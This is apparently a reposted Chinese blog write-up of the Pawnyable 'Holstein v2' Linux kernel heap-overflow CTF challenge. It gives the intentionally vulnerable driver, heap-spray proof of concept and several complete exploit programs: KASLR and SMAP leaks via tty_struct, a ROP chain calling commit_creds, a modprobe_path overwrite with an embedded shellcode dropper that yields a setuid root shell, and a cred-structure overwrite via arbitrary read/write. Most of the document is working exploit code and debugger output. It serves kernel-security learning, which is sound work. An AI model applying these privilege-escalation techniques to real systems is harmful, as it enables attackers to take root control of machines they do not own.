0011-TIPS-pawnyable : Heap-Overflow

news2024/11/23 4:21:16

原文
Linux Kernel PWN | 040202 Pawnyable之堆溢出
Holstein v2: Heap Overflowの悪用
题目下载

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (copy_to_user(buf, g_buf, count)) {			// <1> OOB read
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (copy_from_user(g_buf, buf, count)) {			// <2> OOB write
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

由于#define BUFFER_SIZE 0x400 ,堆溢出发生在kmalloc-1024中

POC含义

#include <fcntl.h>
#include <stdio.h>

int main() {
    int spray[100];
    // 第一次堆喷 kmalloc-1024
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
	// 申请包含堆溢出的 kmalloc-1024对象
    int fd = open("/dev/holstein", O_RDWR);
	
	// 再次申请包含堆溢出的 kmalloc-1024对象
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    char buf[0x500];
    memset(buf, 'A', 0x500);
    write(fd, buf, 0x500);
}

打开一次/dev/ptmx,会分配一个struct tty_struct对象,该对象也会分配到kmalloc-1024slab中

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;	/* class device or NULL (e.g. ptys, serdev) */
	struct tty_driver *driver;
	const struct tty_operations *ops;
    // ...
} __randomize_layout;

struct tty_struct中,有const struct tty_operations *ops;,在struct tty_struct0x18偏移中,它包含了相关的操作函数,它们定义在drivers/tty/pty.c中。例如,当我们对/dev/ptmx执行open系统调用时,对应的操作函数ptmx_open将被执行:

int ptmx = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY);

在借助堆喷手法成功布置内核堆后,我们通常利用堆溢出漏洞篡改目标对象的特定函数指针,或者伪造一个函数指针表,然后在用户空间对目标对象执行系统调用,从而触发它的相应操作函数,由于该函数指针已经被篡改为一个恶意的地址,内核控制流将被劫持。
在调试源码编译的linux时,可以通过ptype /o struct tty_struct查看struct tty_struct中各字段的偏移

第一次堆喷 tty_struct

期望将slab从下面可能的形态
在这里插入图片描述
变为如下的形态
在这里插入图片描述
或者这样的形态
在这里插入图片描述

申请包含堆溢出的SLAB对象 g_buf

在这里插入图片描述

再次堆喷 tty_struct

在这里插入图片描述
使得g_buf和自己分配的tty_struct相连,就能通过溢出,操作tty_struct

漏洞利用

绕过KASLR

pwndbg> x/4xg 0xffff8880030f5000                            # g_buf
0xffff8880030f5000:	0x0000000000000000	0x0000000000000000
0xffff8880030f5010:	0x0000000000000000	0x0000000000000000
pwndbg> x/4xg 0xffff8880030f5000+0x400                      # tty_struct
0xffff8880030f5400:	0x0000000100005401	0x0000000000000000
0xffff8880030f5410:	0xffff888002669f00	0xffffffff81c38880  # tty_operations *ops

0x400是有堆溢出对象的大小,之后的0x400是堆喷的tty_struct,tty_struct的0x18处是tty_operations *ops,该处的值减去0xc38880可以获得内核基地址

绕过SMAP

观察g_buf后的tty_struct,发现该结构体偏移0x38处的值0xffff8880030fd438看起来是一个堆地址,而且刚好用用这个值减去0x438就能得到g_buf的地址:

pwndbg> x/16xg 0xffff8880030fd000+0x400
0xffff8880030fd400:	0x0000000100005401	0x0000000000000000
0xffff8880030fd410:	0xffff888002669f00	0xffffffff81c38880
0xffff8880030fd420:	0x0000000000000032	0x0000000000000000
0xffff8880030fd430:	0x0000000000000000	0xffff8880030fd438 # <<< g_buf + 0x438

在获取g_buf地址后,我们就可以考虑在g_buf中放置伪函数表,然后修改tty_struct的*ops指针指向g_buf
在这里插入图片描述
可通过ioctl(fd_dev_ptmx, 0xdeadbeef, 0xcafebabe);来触发tty_struct->ops->ioctl调用
为了确定,ioctl在g_buf的正确偏移,可以通过设置独特的错误地址,在触发ioctl调用时,通过报错进行观察

 // craft fake function table
 // 想把 tty_struct -> ops的结构体填充到 g_buf起始处
 // 这里的目的是看当调用 tty_struct->ops_ictol时,ioctl指针在g_buf的什么位置
 unsigned long *p = (unsigned long *)&buf;
 for (int i = 0; i < 0x40; i++) {
     *p++ = 0xffffffffdead0000 + (i << 8);
 }

测试脚本

/*
观察g_buf后的tty_struct,我们发现该结构体偏移0x38处的值0xffff8880030fd438看起来是一个堆地址,
而且刚好用用这个值减去0x438就能得到g_buf的地址:

pwndbg> x/16xg 0xffff8880030fd000+0x400
0xffff8880030fd400:        0x0000000100005401        0x0000000000000000
0xffff8880030fd410:        0xffff888002669f00        0xffffffff81c38880
0xffff8880030fd420:        0x0000000000000032        0x0000000000000000
0xffff8880030fd430:        0x0000000000000000        0xffff8880030fd438

在获取g_buf地址后,我们就可以考虑在g_buf中放置伪函数表,然后修改tty_struct的*ops指针指向g_buf。
我们将在用户空间中使用ioctl系统调用来触发控制流劫持,相应地,RIP将转到伪造函数表中的对应指针处。
我们先伪造一个存储非法指针的函数表,让内核崩溃,弄清楚具体是函数表中第几个函数被调用了

/ # /exploit
[+] leaked kernel base address: 0xffffffff81000000
[+] leaked g_buf address: 0xffff8880030f7000
BUG: unable to handle page fault for address: ffffffffdead0c00

可以看到,RIP转向了0xffffffffdead0c00,这说明ioctl对应的 tty_operations 中的处理函数索引为0xc。
*/

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define ofs_tty_ops 0xc38880
#define SPRAY_NUM 100

unsigned long kbase;
unsigned long g_buf;

int main() {
    int spray[SPRAY_NUM];
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    int fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        perror("open");

    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    char buf[0x500];
    read(fd, buf, 0x500);
    // 0x400是有堆溢出对象的大小
    // 0x18 是 tty_struct中 tty_operations 的偏移
    // ofs_tty_ops 是 ops到内核基地址的偏移
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    // 不知道是不是巧合,g_buf加0x438偏移处的内容,减去0x438正好是 g_buf的地址
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;

    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft fake function table
    // 想把 tty_struct -> ops的结构体填充到 g_buf起始处
    // 这里的目的是看当调用 tty_struct->ops_ictol时,ioctl指针在g_buf的什么位置
    unsigned long *p = (unsigned long *)&buf;
    for (int i = 0; i < 0x40; i++) {
        *p++ = 0xffffffffdead0000 + (i << 8);
    }
    // 在获取g_buf地址后,我们就可以考虑在g_buf中放置伪函数表,然后修改tty_struct的*ops指针指向g_buf
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    // hijack control flow
    for (int i = 0; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }

    getchar();
    close(fd);
    for (int i = 0; i < 100; i++)
        close(spray[i]);

    return 0;
}

报错如下,同时观察寄存器

/ # /exploit
[+] leaked kernel base address: 0xffffffff81000000
[+] leaked g_buf address: 0xffff8880030f7000
BUG: unable to handle page fault for address: ffffffffdead0c00

RAX: ffffffffdead0c00 RBX: ffff962e01cf3800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff962e01cf3400
RBP: ffffb9fc40187ea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff962e01cf3400 R14: 00000000cafebabe R15: ffff962e01b82e00

绕过SMEP

在g_buf中布局提权代码

由于能确定g_buf的地址,也可以确定在g_buf指向对象中tty_operations中ioctl的位置,那就可以将提权rop布置在g_buf中,通过ioctl触发rop。但是rop需要在栈中才能发挥作用,需要g_buf指向的那段空间先转换为内核栈才行。
通过绕过SMAP中

ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
报错
RAX: ffffffffdead0c00 RBX: ffff962e01cf3800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff962e01cf3400
RBP: ffffb9fc40187ea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff962e01cf3400 R14: 00000000cafebabe R15: ffff962e01b82e00

可以通过控制ioctl的参数2、参数3控制RCX,RDX
那只要只能找到类似如下语句

push rcx; xxx; pop rsp; xxx ; ret;
或者
push rdx; xxx; pop rsp; xxx ; ret;

将ioctl的参数2,参数3设置为g_buf中rop的起始位置,通过栈迁移实现rop。
当然rop语句可能复杂,需要进行微调,如果rop链较长,可能还会从g_buf起始位置执行到ioctl处,需要绕过这一条语句
在这里插入图片描述

char buf[0x500];
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain\n");
    unsigned long *chain = (unsigned long *)&buf;

    *chain++ = pop_rdi_ret;               // #0 return address
    *chain++ = 0x0;                       // #1
    *chain++ = prepare_kernel_cred;       // #2
    *chain++ = pop_rcx_ret;               // #3
    *chain++ = 0;                         // #4
    *chain++ = mov_rdi_rax_rep_movsq_ret; // #5
    *chain++ = commit_creds;              // #6
    *chain++ = pop_rcx_ret;               // #7
    *chain++ = 0;                         // #8
    *chain++ = pop_rcx_ret;               // #9
    *chain++ = 0;                         // #a
    *chain++ = pop_rcx_ret;               // #b
    // ropr --nouniq -R "^push rdx;.* pop rsp;.* ret" ./vmlinux
    // 1  0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
    // 上面的 push rdx中的 rdx 是 ioctrl的第3个参数  g_buf - 0x10
    *chain++ = push_rdx_pop_rsp_pop2_ret; // #c -------------
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x418] = g_buf;
    printf("[*] overwriting the adjacent tty_struct\n");
    write(fd, buf, 0x420);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = 0; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); //  2
    }

完整代码如下

/*
在SMEP开启但SMAP关闭的情况下,我们其实不一定非要搞内核态ROP,用户态ROP即可。利用ropr,
我们能够在vmlinux中搜到一些stack pivoting的gadgets:

ropr --nouniq -R "^mov esp, 0x[0-9]*; ret" ./vmlinux
# result: 0xffffffff81516264: mov esp, 0x39000000; ret;

因此,这种情况下我们完全可以在ExP中预先mmap申请到0x39000000起始的内存,在这里写入ROP链,
利用之前的堆溢出将控制流劫持到上述gadget的地址即可。

然而,在SMAP开启的情况下,我们不能将stack给pivot到用户空间。我们希望能够pivot到堆上,也就是g_buf这部分我们能够写入的内核内存。
*/
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc38880
#define prepare_kernel_cred (kbase + 0x74650)
#define commit_creds (kbase + 0x744b0)
#define pop_rdi_ret (kbase + 0x4767e0)
#define pop_rcx_ret (kbase + 0x4d52dc)
#define push_rdx_pop_rsp_pop2_ret (kbase + 0x3a478a)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x62707b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
unsigned long g_buf;

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int main() {
    save_userland_state();

    int spray[SPRAY_NUM];
    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }
    printf("[+] /dev/holstein opened\n");
    int fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        perror("open");

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with OOB read\n");
    char buf[0x500];
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain\n");
    unsigned long *chain = (unsigned long *)&buf;

    *chain++ = pop_rdi_ret;               // #0 return address
    *chain++ = 0x0;                       // #1
    *chain++ = prepare_kernel_cred;       // #2
    *chain++ = pop_rcx_ret;               // #3
    *chain++ = 0;                         // #4
    *chain++ = mov_rdi_rax_rep_movsq_ret; // #5
    *chain++ = commit_creds;              // #6
    *chain++ = pop_rcx_ret;               // #7
    *chain++ = 0;                         // #8
    *chain++ = pop_rcx_ret;               // #9
    *chain++ = 0;                         // #a
    *chain++ = pop_rcx_ret;               // #b
    // ropr --nouniq -R "^push rdx;.* pop rsp;.* ret" ./vmlinux
    // 1  0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
    // 上面的 push rdx中的 rdx 是 ioctrl的第3个参数  g_buf - 0x10
    *chain++ = push_rdx_pop_rsp_pop2_ret; // #c -------------
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x418] = g_buf;
    printf("[*] overwriting the adjacent tty_struct\n");
    write(fd, buf, 0x420);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = 0; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); //  2
    }

    getchar();
    close(fd);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

AAR/AAW

内核任意地址读(arbitrary address read,简称AAR)
内核任意地址写(arbitrary address write,简称AAW)
还是看ioctl

ioctl(spray[i], 0xdeadbeef, 0xcafebabe);

RAX: ffffffffdead0c00 RBX: ffff962e01cf3800 RCX: 00000000deadbeef
RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffff962e01cf3400
RBP: ffffb9fc40187ea8 R08: 00000000cafebabe R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef
R13: ffff962e01cf3400 R14: 00000000cafebabe R15: ffff962e01b82e00

ioctl的参数控制着RCX,RDX
如果g_buf中tty_operations->ioctl指向这样的rop语句,就能实现任意地址写

mov [rdx], rcx; ret;

如果指向这样的语句,通过ioctl的返回值,就能实现现任意地址读(ioctl的返回值是int类型)

mov eax, [rdx]; ret;

AAW-modprobe_path

/*
from pwn import *elf = ELF('./vmlinux')
print(hex(next(elf.search(b'/sbin/modprobe\x00'))))
*/
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc38880
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b7dd6)
#define mov_eax_ptr_rdx_ret (kbase + 0x440428)
#define modprobe_path (kbase + 0xe38180)

int fd;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x500];
char win_condition[] = "/tmp/evil";

/*
 * Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
 * Dropper...:
 * fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);
 * write(fd, shellcode, shellcodeLen);
 * chmod("/tmp/win", 0x4755);
 * close(fd);
 * exit(0)
 *
 * ... who drops some shellcode ELF:
 * setuid(0);
 * setgid(0);
 * execve("/bin/sh", ["/bin/sh"], NULL);
 */
unsigned char dropper[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00, 
    0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,
    0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,
    0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,
    0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,
    0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,
    0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,
    0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,
    0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,
    0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,
    0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
    0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,
    0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,
    0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,
    0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,
    0xe6, 0xb0, 0x3b, 0x0f, 0x05
};

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    unsigned long *p = (unsigned long *)&buf;
    p[0xc] = mov_ptr_rdx_rcx_ret;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    for (int i = 0; i < SPRAY_NUM; i++)
        ioctl(spray[i], val /* rcx */, addr /* rdx */);
}

int main() {
    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }
    printf("[+] /dev/holstein opened\n");
    fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        perror("open");

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with OOB read\n");
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    for (int i = 0; i < sizeof(win_condition); i += 4)
        AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);

    FILE *fptr = fopen(win_condition, "w");
    if (!fptr) {
        puts("[!] Failed to open win condition");
        exit(-1);
    }
    if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {
        puts("[!] Failed to write win condition");
        exit(-1);
    }
    fclose(fptr);
    if (chmod(win_condition, 0777) < 0) {
        puts("[!] Failed to chmod win condition");
        exit(-1);
    };
    puts("[+] win_condition (dropper) written to /tmp/evil");

    puts("[*] triggering modprobe");
    system("chmod +x /tmp/evil");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn"); // trigger modprobe_path

    puts("[*] spawning root shell");
    system("/tmp/win");

    close(fd);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

AAW-爆破修改cred

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc38880
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b7dd6)
#define mov_eax_ptr_rdx_ret (kbase + 0x440428)

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

int fd;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x500];
int cache_fd = -1;

unsigned int AAR32(unsigned long addr) {
    if (cache_fd == -1) {
        unsigned long *p = (unsigned long *)&buf;
        p[12] = mov_eax_ptr_rdx_ret;
        *(unsigned long *)&buf[0x418] = g_buf;
        write(fd, buf, 0x420);

        for (int i = 0; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], 0, addr /* rdx */);
            if (v != -1) {
                cache_fd = spray[i];
                return v;
            }
        }
    } else
        return ioctl(cache_fd, 0, addr);
}

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    unsigned long *p = (unsigned long *)&buf;
    p[0xc] = mov_ptr_rdx_rcx_ret;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    for (int i = 0; i < SPRAY_NUM; i++)
        ioctl(spray[i], val /* rcx */, addr /* rdx */);
}

int main() {
    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            fatal("open");
    }
    printf("[+] /dev/holstein opened\n");
    fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        fatal("open");

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            fatal("open");
    }

    printf("[*] leaking kernel base and g_buf with OOB read\n");
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    puts("[*] changing .comm to aptx4869");
    if (prctl(PR_SET_NAME, "aptx4869") != 0)
        fatal("prctl");

    unsigned long addr;
    // 找到 cred
    for (addr = g_buf - 0x1000000;; addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            printf("[*] searching for aptx4869 at 0x%lx\n", addr);

        if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) {
            printf("[+] .comm found at 0x%lx\n", addr);
            break;
        }
    }

    unsigned long addr_cred = 0;
    addr_cred |= AAR32(addr - 8);
    addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
    printf("[+] current->cred = 0x%lx\n", addr_cred);

    puts("[*] changing cred to root");
    // 改写 cred
    for (int i = 1; i < 9; i++)
        AAW32(addr_cred + i * 4, 0);

    puts("[*] spawning root shell");
    system("/bin/sh");

    close(fd);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/668964.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Nginx介绍和安装与升级】

文章目录 Nginx网站服务一、nginx服务基础1. Nginx简介2. Tengine3. Nginx 相对于 Apache 的优点4. 阻塞与非阻塞 同步与异步5. nginx 应用场景 二、编译安装nginx 服务1. 在线安装nginx2. nginx编译安装1. 关闭防火墙&#xff0c;将安装nginx所需软件包传到/opt目录下2. 安装依…

二维码标签制作教程

如今二维码已被广泛应用在了许多场景中&#xff0c;譬如设备巡检、固定资产盘点、隐患上报、人员管理等&#xff0c;在二维码投入使用前需要为设备、物品、人员等制作一物一码标签。为了让标签快速落地&#xff0c;可使用草料二维码的标签制作功能&#xff0c;只需选择心仪的标…

Cortext-M3系统:中断的具体行为(6)

